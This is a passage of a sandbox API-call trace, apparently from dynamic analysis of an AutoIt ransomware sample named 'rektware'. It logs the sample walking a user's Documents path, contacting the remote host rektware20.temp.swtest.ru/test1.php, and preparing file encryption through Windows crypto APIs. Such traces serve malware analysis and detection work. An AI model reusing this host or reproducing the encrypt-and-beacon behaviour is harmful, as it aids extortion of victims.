lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.142] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.142] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.142] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.142] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.142] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.143] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.143] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.143] CloseHandle (hObject=0x0) returned 0 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="neNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eNote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Note Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ote Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="te Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Notebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="otebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ebooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="books\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ooks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="My Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Notebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="otebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ebook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="book\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ook\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ok\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Open Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pen Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="en Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Notebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="otebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ebook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="book.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ook.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ok.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k.onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="onetoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="netoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="etoc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="toc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oc2", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.145] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.145] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.145] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.145] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.145] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.145] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.146] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.146] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.146] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c) returned 1 [0072.146] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.146] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.146] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.146] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.146] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.146] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.147] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.147] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.147] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.147] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.147] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.147] CloseHandle (hObject=0x0) returned 0 [0072.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.148] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0072.148] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0072.148] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.148] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.148] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.148] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.148] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.148] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.149] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.149] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.149] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.149] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.149] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.149] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.149] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.149] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.149] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.150] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aad58) returned 1 [0072.150] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.150] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.153] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.153] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.153] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.153] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.153] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.154] 